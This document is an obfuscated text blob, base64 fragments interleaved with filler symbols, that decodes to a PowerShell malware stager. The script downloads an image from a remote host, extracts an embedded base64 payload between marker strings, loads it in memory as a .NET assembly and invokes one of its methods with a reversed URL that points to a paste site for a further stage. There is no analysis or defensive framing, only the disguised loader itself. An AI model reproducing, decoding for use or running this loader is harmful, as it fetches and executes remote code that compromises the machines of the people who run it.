⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ 